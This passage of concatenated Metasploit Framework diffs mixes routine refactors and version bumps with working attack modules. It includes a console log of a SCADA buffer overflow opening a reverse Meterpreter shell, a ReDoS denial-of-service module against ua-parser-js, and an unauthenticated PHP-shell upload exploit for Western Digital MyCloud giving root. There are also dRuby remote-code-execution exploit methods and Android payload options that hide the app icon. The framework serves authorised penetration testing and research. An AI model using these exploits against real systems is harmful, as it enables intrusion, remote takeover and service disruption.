|
||||
1. Start `msfconsole`
|
||||
2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof`
|
||||
3. `set payload windows/meterpreter/reverse_tcp`
|
||||
4. `set LHOST XXX.XXX.XXX.XXX`
|
||||
5. `exploit`
|
||||
6. **Verify** you get a connect back meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
None.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc
|
||||
[*] Processing scripts/advantech.rc for ERB directives.
|
||||
resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_webvrpcs_bof
|
||||
resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp
|
||||
payload => windows/meterpreter/reverse_tcp
|
||||
resource (scripts/advantech.rc)> set RHOST 172.16.175.136
|
||||
RHOST => 172.16.175.136
|
||||
resource (scripts/advantech.rc)> set LHOST 172.16.175.1
|
||||
LHOST => 172.16.175.1
|
||||
resource (scripts/advantech.rc)> exploit
|
||||
[*] Started reverse TCP handler on 172.16.175.1:4444
|
||||
[*] 172.16.175.136:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
|
||||
[*] 172.16.175.136:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ...
|
||||
[+] 172.16.175.136:4592 - Got a handle: 0x01ef2558
|
||||
[*] 172.16.175.136:4592 - Trying target Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31...
|
||||
[*] Sending stage (179779 bytes) to 172.16.175.136
|
||||
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.136:49206) at 2017-12-11 11:32:15 -0600
|
||||
[*] 172.16.175.136:4592 - The DCERPC service did not reply to our request
|
||||
|
||||
meterpreter > shell
|
||||
Process 5208 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\WebAccess\Node>
|
||||
```
|
|
@ -4,7 +4,7 @@
|
|||
via its SMTP server validation. The module sends a malicious response along in the
|
||||
220 service ready response and exploits the client, resulting in an unprivileged shell.
|
||||
|
||||
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||
The software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.16.21"
|
||||
VERSION = "4.16.23"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -10,8 +10,7 @@
|
|||
#
|
||||
###
|
||||
|
||||
# Sanity check this version of ruby
|
||||
require 'msf/sanity'
|
||||
# Include backported features for older versions of Ruby
|
||||
require 'backports'
|
||||
|
||||
# The framework-core depends on Rex
|
||||
|
|
|
@ -474,7 +474,13 @@ module Exploit::Remote::HttpClient
|
|||
|
||||
uri = normalize_uri(custom_uri || target_uri.to_s)
|
||||
|
||||
"#{uri_scheme}://#{rhost}#{uri_port}#{uri}"
|
||||
if Rex::Socket.is_ipv6?(rhost)
|
||||
uri_host = "[#{rhost}]"
|
||||
else
|
||||
uri_host = rhost
|
||||
end
|
||||
|
||||
"#{uri_scheme}://#{uri_host}#{uri_port}#{uri}"
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -24,6 +24,10 @@ module Msf::Module::FullName
|
|||
type + '/' + refname
|
||||
end
|
||||
|
||||
def promptname
|
||||
refname
|
||||
end
|
||||
|
||||
def shortname
|
||||
refname.split('/').last
|
||||
end
|
||||
|
@ -55,9 +59,16 @@ module Msf::Module::FullName
|
|||
end
|
||||
|
||||
#
|
||||
# Returns the module's framework short name. This is a
|
||||
# possibly conflicting name used for things like console
|
||||
# prompts.
|
||||
# Returns the module's framework prompt-friendly name.
|
||||
#
|
||||
# reverse_tcp
|
||||
#
|
||||
def promptname
|
||||
self.class.promptname
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the module's framework short name.
|
||||
#
|
||||
# reverse_tcp
|
||||
#
|
||||
|
|
|
@ -56,7 +56,12 @@ module Msf::Payload::Android
|
|||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
|
||||
config[0] = "\x01" if opts[:stageless]
|
||||
flags = 0
|
||||
flags |= 1 if opts[:stageless]
|
||||
flags |= 2 if ds['AndroidMeterpreterDebug']
|
||||
flags |= 4 if ds['AndroidWakelock']
|
||||
flags |= 8 if ds['AndroidHideAppIcon']
|
||||
config[0] = flags.chr
|
||||
config
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,18 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::Android::PayloadOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new('AndroidMeterpreterDebug', [ false, "Run the payload in debug mode, with logging enabled" ]),
|
||||
Msf::OptBool.new('AndroidWakelock', [ false, "Acquire a wakelock before starting the payload" ]),
|
||||
Msf::OptBool.new('AndroidHideAppIcon', [ false, "Hide the application icon automatically after launch" ]),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
end
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/android/payload_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
@ -16,6 +17,7 @@ module Payload::Android::ReverseHttp
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::Android::PayloadOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/android/payload_options'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -15,6 +16,7 @@ module Payload::Android::ReverseTcp
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Android
|
||||
include Msf::Payload::Android::PayloadOptions
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
|
|
|
@ -1,28 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
#
|
||||
# Provides some sanity checks against the ruby build and version
|
||||
#
|
||||
|
||||
if(RUBY_PLATFORM == 'java')
|
||||
require 'socket'
|
||||
s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
|
||||
if(not s.respond_to?('bind'))
|
||||
$stderr.puts "*** JRuby 1.5.0+ is required to use Metasploit with jRuby"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
$stderr.puts "*** Warning: JRuby support is still incomplete, few things will work properly!"
|
||||
trap Signal::list['INT'] do
|
||||
Thread.main.raise Interrupt.new
|
||||
end
|
||||
|
||||
s.close
|
||||
end
|
||||
|
||||
# Check for OpenSSL and print a warning if it is not installed
|
||||
begin
|
||||
require 'openssl'
|
||||
rescue ::LoadError
|
||||
$stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
|
||||
$stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
|
||||
end
|
|
@ -1107,7 +1107,7 @@ class Core
|
|||
if active_module
|
||||
# intentionally += and not << because we don't want to modify
|
||||
# datastore or the constant DefaultPrompt
|
||||
prompt += " #{active_module.type}(%bld%red#{active_module.shortname}%clr)"
|
||||
prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
|
||||
end
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
|
|
|
@ -661,7 +661,7 @@ module Msf
|
|||
# Update the command prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -138,15 +138,6 @@ class Driver < Msf::Ui::Driver
|
|||
print_error("***")
|
||||
end
|
||||
|
||||
begin
|
||||
require 'openssl'
|
||||
rescue ::LoadError
|
||||
print_error("***")
|
||||
print_error("* WARNING: No OpenSSL support. This is required by meterpreter payloads and many exploits")
|
||||
print_error("* Please install the ruby-openssl package (apt-get install libopenssl-ruby on Debian/Ubuntu")
|
||||
print_error("***")
|
||||
end
|
||||
|
||||
# Register event handlers
|
||||
register_event_handlers
|
||||
|
||||
|
@ -191,24 +182,10 @@ class Driver < Msf::Ui::Driver
|
|||
end
|
||||
end
|
||||
|
||||
# framework.db.active will be true if after_establish_connection ran directly when connection_established? was
|
||||
# already true or if framework.db.connect called after_establish_connection.
|
||||
if !! framework.db.error
|
||||
if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i
|
||||
print_error("***")
|
||||
print_error("*")
|
||||
print_error("* Metasploit now requires version 0.11 or higher of the 'pg' gem for database support")
|
||||
print_error("* There a three ways to accomplish this upgrade:")
|
||||
print_error("* 1. If you run Metasploit with your system ruby, simply upgrade the gem:")
|
||||
print_error("* $ rvmsudo gem install pg ")
|
||||
print_error("* 2. Use the Community Edition web interface to apply a Software Update")
|
||||
print_error("* 3. Uninstall, download the latest version, and reinstall Metasploit")
|
||||
print_error("*")
|
||||
print_error("***")
|
||||
print_error("")
|
||||
print_error("")
|
||||
end
|
||||
|
||||
# framework.db.active will be true if after_establish_connection ran
|
||||
# directly when connection_established? was already true or if
|
||||
# framework.db.connect called after_establish_connection.
|
||||
if !!framework.db.error
|
||||
print_error("Failed to connect to the database: #{framework.db.error}")
|
||||
end
|
||||
end
|
||||
|
@ -250,108 +227,6 @@ class Driver < Msf::Ui::Driver
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Configure a default output path for jUnit XML output
|
||||
#
|
||||
def junit_setup(output_path)
|
||||
output_path = ::File.expand_path(output_path)
|
||||
|
||||
::FileUtils.mkdir_p(output_path)
|
||||
@junit_output_path = output_path
|
||||
@junit_error_count = 0
|
||||
print_status("Test Output: #{output_path}")
|
||||
|
||||
# We need at least one test success in order to pass
|
||||
junit_pass("framework_loaded")
|
||||
end
|
||||
|
||||
#
|
||||
# Emit a new jUnit XML output file representing an error
|
||||
#
|
||||
def junit_error(tname, ftype, data = nil)
|
||||
|
||||
if not @junit_output_path
|
||||
raise RuntimeError, "No output path, call junit_setup() first"
|
||||
end
|
||||
|
||||
data ||= framework.inspect.to_s
|
||||
|
||||
e = REXML::Element.new("testsuite")
|
||||
|
||||
c = REXML::Element.new("testcase")
|
||||
c.attributes["classname"] = "msfrc"
|
||||
c.attributes["name"] = tname
|
||||
|
||||
f = REXML::Element.new("failure")
|
||||
f.attributes["type"] = ftype
|
||||
|
||||
f.text = data
|
||||
c << f
|
||||
e << c
|
||||
|
||||
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
|
||||
bname << "_" + Digest::MD5.hexdigest(tname)
|
||||
|
||||
fname = ::File.join(@junit_output_path, "#{bname}.xml")
|
||||
cnt = 0
|
||||
while ::File.exist?( fname )
|
||||
cnt += 1
|
||||
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
|
||||
end
|
||||
|
||||
::File.open(fname, "w") do |fd|
|
||||
fd.write(e.to_s)
|
||||
end
|
||||
|
||||
print_error("Test Error: #{tname} - #{ftype} - #{data}")
|
||||
end
|
||||
|
||||
#
|
||||
# Emit a new jUnit XML output file representing a success
|
||||
#
|
||||
def junit_pass(tname)
|
||||
|
||||
if not @junit_output_path
|
||||
raise RuntimeError, "No output path, call junit_setup() first"
|
||||
end
|
||||
|
||||
# Generate the structure of a test case run
|
||||
e = REXML::Element.new("testsuite")
|
||||
c = REXML::Element.new("testcase")
|
||||
c.attributes["classname"] = "msfrc"
|
||||
c.attributes["name"] = tname
|
||||
e << c
|
||||
|
||||
# Generate a unique name
|
||||
bname = ("msfrpc_#{tname}").gsub(/[^A-Za-z0-9\.\_]/, '')
|
||||
bname << "_" + Digest::MD5.hexdigest(tname)
|
||||
|
||||
# Generate the output path, allow multiple test with the same name
|
||||
fname = ::File.join(@junit_output_path, "#{bname}.xml")
|
||||
cnt = 0
|
||||
while ::File.exist?( fname )
|
||||
cnt += 1
|
||||
fname = ::File.join(@junit_output_path, "#{bname}_#{cnt}.xml")
|
||||
end
|
||||
|
||||
# Write to our test output location, as specified with junit_setup
|
||||
::File.open(fname, "w") do |fd|
|
||||
fd.write(e.to_s)
|
||||
end
|
||||
|
||||
print_good("Test Pass: #{tname}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Emit a jUnit XML output file and throw a fatal exception
|
||||
#
|
||||
def junit_fatal_error(tname, ftype, data)
|
||||
junit_error(tname, ftype, data)
|
||||
print_error("Exiting")
|
||||
run_single("exit -y")
|
||||
end
|
||||
|
||||
#
|
||||
# Loads configuration that needs to be analyzed before the framework
|
||||
# instance is created.
|
||||
|
|
|
@ -209,10 +209,10 @@ module ModuleCommandDispatcher
|
|||
end
|
||||
|
||||
rhost = instance.datastore['RHOST']
|
||||
rport = nil
|
||||
rport = instance.datastore['RPORT']
|
||||
peer = rhost
|
||||
if instance.datastore['rport']
|
||||
rport = instance.rport
|
||||
if rport
|
||||
rport = instance.rport if instance.respond_to?(:rport)
|
||||
peer = "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.18'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.19'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.8'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ua-parser-js npm module ReDoS',
|
||||
'Description' => %q{
|
||||
This module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module "ua-parser-js". Server-side applications that use
|
||||
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
|
||||
if they call the "getOS" or "getResult" functions. This vulnerability was
|
||||
fixed as of version 0.7.16.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
|
||||
['CWE', '400'],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Ryan Knell, Sonatype Security Research',
|
||||
'Nick Starke, Sonatype Security Research',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
unless test_service
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
|
||||
else
|
||||
trigger_redos
|
||||
test_service_unresponsive
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_redos
|
||||
begin
|
||||
print_status("Sending ReDoS request to #{peer}.")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_status("No response received from #{peer}, service is most likely unresponsive.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
rescue ::Timeout::Error
|
||||
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
|
||||
end
|
||||
end
|
||||
|
||||
def test_service_unresponsive
|
||||
begin
|
||||
print_status('Testing for service unresponsiveness.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_good('Service not responding.')
|
||||
else
|
||||
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error('An unknown error occurred.')
|
||||
rescue ::Timeout::Error
|
||||
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
|
||||
end
|
||||
end
|
||||
|
||||
def test_service
|
||||
begin
|
||||
print_status('Testing Service to make sure it is working.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if !res.nil? && (res.code == 200 || res.code == 404)
|
||||
print_status('Test request successful, attempting to send payload')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,142 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'WS-Discovery Information Discovery',
|
||||
'Description' => %q{
|
||||
Discover information from Web Services Dynamic Discovery (WS-Discovery)
|
||||
enabled systems.
|
||||
},
|
||||
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/bb513684(v=vs.85).aspx'],
|
||||
['URL', 'http://specs.xmlsoap.org/ws/2005/04/discovery/ws-discovery.pd'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/Web_Services_for_Devices'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/WS-Discovery'],
|
||||
['URL', 'https://en.wikipedia.org/wiki/Zero-configuration_networking#WS-Discovery']
|
||||
]
|
||||
)
|
||||
register_options [
|
||||
Opt::RPORT(3702),
|
||||
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '239.255.255.250'])
|
||||
]
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def wsdd_probe
|
||||
probe = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
probe << '<soap:Envelope'
|
||||
probe << ' xmlns:soap="http://www.w3.org/2003/05/soap-envelope"'
|
||||
probe << ' xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"'
|
||||
probe << ' xmlns:wsd="http://schemas.xmlsoap.org/ws/2005/04/discovery"'
|
||||
probe << ' xmlns:wsdp="http://schemas.xmlsoap.org/ws/2006/02/devprof">'
|
||||
|
||||
probe << '<soap:Header>'
|
||||
# WS-Discovery
|
||||
probe << '<wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>'
|
||||
# Action (Probe)
|
||||
probe << "<wsa:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action>"
|
||||
# Message identifier (unique GUID)
|
||||
probe << "<wsa:MessageID>urn:uuid:#{SecureRandom.uuid}</wsa:MessageID>"
|
||||
probe << '</soap:Header>'
|
||||
|
||||
probe << '<soap:Body>'
|
||||
probe << '<wsd:Probe/>' # WS-Discovery type (blank)
|
||||
probe << '</soap:Body>'
|
||||
probe << '</env:Envelope>'
|
||||
|
||||
probe
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status "Sending WS-Discovery probe to #{batch.length} hosts"
|
||||
@results = {}
|
||||
end
|
||||
|
||||
def scan_host(ip)
|
||||
vprint_status "#{ip}:#{rport} - Sending WS-Discovery probe"
|
||||
scanner_send wsdd_probe, ip, datastore['RPORT']
|
||||
end
|
||||
|
||||
def scanner_postscan(_batch)
|
||||
if @results.empty?
|
||||
print_status 'No WS-Discovery endpoints found.'
|
||||
return
|
||||
end
|
||||
|
||||
found = {}
|
||||
@results.each_pair do |ip, responses|
|
||||
responses.uniq.each do |res|
|
||||
found[ip] ||= {}
|
||||
next if found[ip][res]
|
||||
|
||||
response_info = parse_wsdd_response res
|
||||
|
||||
if response_info.nil?
|
||||
print_error "#{ip} responded with malformed data"
|
||||
next
|
||||
end
|
||||
|
||||
msg = []
|
||||
msg << "Address: #{response_info['Address']}"
|
||||
msg << "Types: #{response_info['Types'].to_s.split(/\s+/).join(', ')}"
|
||||
msg << "Vendor Extensions: #{response_info['VendorExtension']}" unless response_info['VendorExtension'].nil?
|
||||
|
||||
print_good "#{ip} responded with:\n#{msg.join("\n")}"
|
||||
|
||||
report_service(host: ip, port: rport, proto: 'udp', name: 'wsdd', info: response_info)
|
||||
found[ip][res] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_wsdd_response(wsdd_res)
|
||||
info = {}
|
||||
|
||||
# Validate ProbeMatches SOAP response contains a ProbeMatch
|
||||
begin
|
||||
soap = ::Nokogiri::XML wsdd_res
|
||||
return nil if soap.xpath('//soap:Body//wsd:ProbeMatches//wsd:ProbeMatch').empty?
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
|
||||
# Convert SOAP response to Hash
|
||||
begin
|
||||
res = Hash.from_xml wsdd_res
|
||||
rescue REXML::ParseException
|
||||
return nil
|
||||
end
|
||||
|
||||
# Use the first ProbeMatch
|
||||
probe_match = res['Envelope']['Body']['ProbeMatches'].first
|
||||
return nil unless probe_match[0].eql? 'ProbeMatch'
|
||||
return nil if probe_match[1].nil? || probe_match[1].empty?
|
||||
match = probe_match[1]
|
||||
|
||||
# Device Address
|
||||
info['Address'] = match['XAddrs'] || ''
|
||||
|
||||
# Device Types
|
||||
info['Types'] = match['Types'] || ''
|
||||
|
||||
# Optional vendor extensions
|
||||
unless match['VendorExtension'].nil? || match['VendorExtension'].empty?
|
||||
info['VendorExtension'] = match['VendorExtension']
|
||||
end
|
||||
|
||||
info
|
||||
end
|
||||
end
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability found in Western Digital's MyCloud
|
||||
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
|
||||
PHP script provides multipart upload functionality that is accessible without authentication
|
||||
and can be used to place a file anywhere on the device's file system. This allows an
|
||||
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
|
||||
execution as root.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
|
||||
['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
|
||||
['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
|
||||
['CVE', '2017-17560']
|
||||
],
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic Targeting', { 'auto' => true }]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jul 29 2017',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
|
||||
|
||||
if res.nil?
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 302 && res.headers['Location'] =~ /\?status=1/
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def upload(web_folder, fname, file)
|
||||
# construct post data
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
|
||||
|
||||
# upload
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/web/jquery/uploader/multi_uploadify.php',
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'vars_get' => {
|
||||
'folder' => web_folder
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Vulnerable
|
||||
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
|
||||
end
|
||||
|
||||
# upload PHP payload to '/var/www' (webroot).
|
||||
web_folder = '/var/www'
|
||||
php = "<?php #{payload.encoded} ?>"
|
||||
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
|
||||
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
|
||||
|
||||
res = upload(web_folder, fname, php)
|
||||
|
||||
# check upload response
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
|
||||
end
|
||||
print_good('Uploaded PHP payload successfully.')
|
||||
|
||||
# register uploaded php payload file for cleanup
|
||||
register_files_for_cleanup(fname)
|
||||
|
||||
# retrieve and execute PHP payload
|
||||
print_status("Making request for '/#{fname}' to execute payload.")
|
||||
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
|
||||
end
|
||||
|
||||
end
|
|
@ -8,6 +8,8 @@ require 'drb/drb'
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Distributed Ruby Remote Code Execution',
|
||||
|
@ -31,30 +33,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [
|
||||
['Automatic', {}],
|
||||
['Automatic', { method: 'auto'}],
|
||||
['Trap', { method: 'trap'}],
|
||||
['Eval', { method: 'instance_eval'}],
|
||||
['Syscall', { method: 'syscall'}],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 23 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]),
|
||||
OptString.new('URI', [false, "The URI of the target host (druby://host:port) (overrides RHOST/RPORT)", nil]),
|
||||
Opt::RHOST(nil, false),
|
||||
Opt::RPORT(8787)
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
serveruri = datastore['URI']
|
||||
DRb.start_service
|
||||
p = DRbObject.new_with_uri(serveruri)
|
||||
class << p
|
||||
undef :send
|
||||
end
|
||||
|
||||
p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
|
||||
# syscall to decide whether it's 64 or 32 bit:
|
||||
# it's getpid on 32bit which will succeed, and writev on 64bit
|
||||
# which will fail due to missing args
|
||||
def method_trap(p)
|
||||
p.send(:trap, 23,
|
||||
:"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
|
||||
# Decide if this is running on an x86 or x64 target, using the kill(2) syscall
|
||||
begin
|
||||
pid = p.send(:syscall, 20)
|
||||
p.send(:syscall, 37, pid, 23)
|
||||
|
@ -65,4 +63,89 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
p.send(:my_eval, payload.encoded)
|
||||
end
|
||||
|
||||
def method_instance_eval(p)
|
||||
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
|
||||
end
|
||||
|
||||
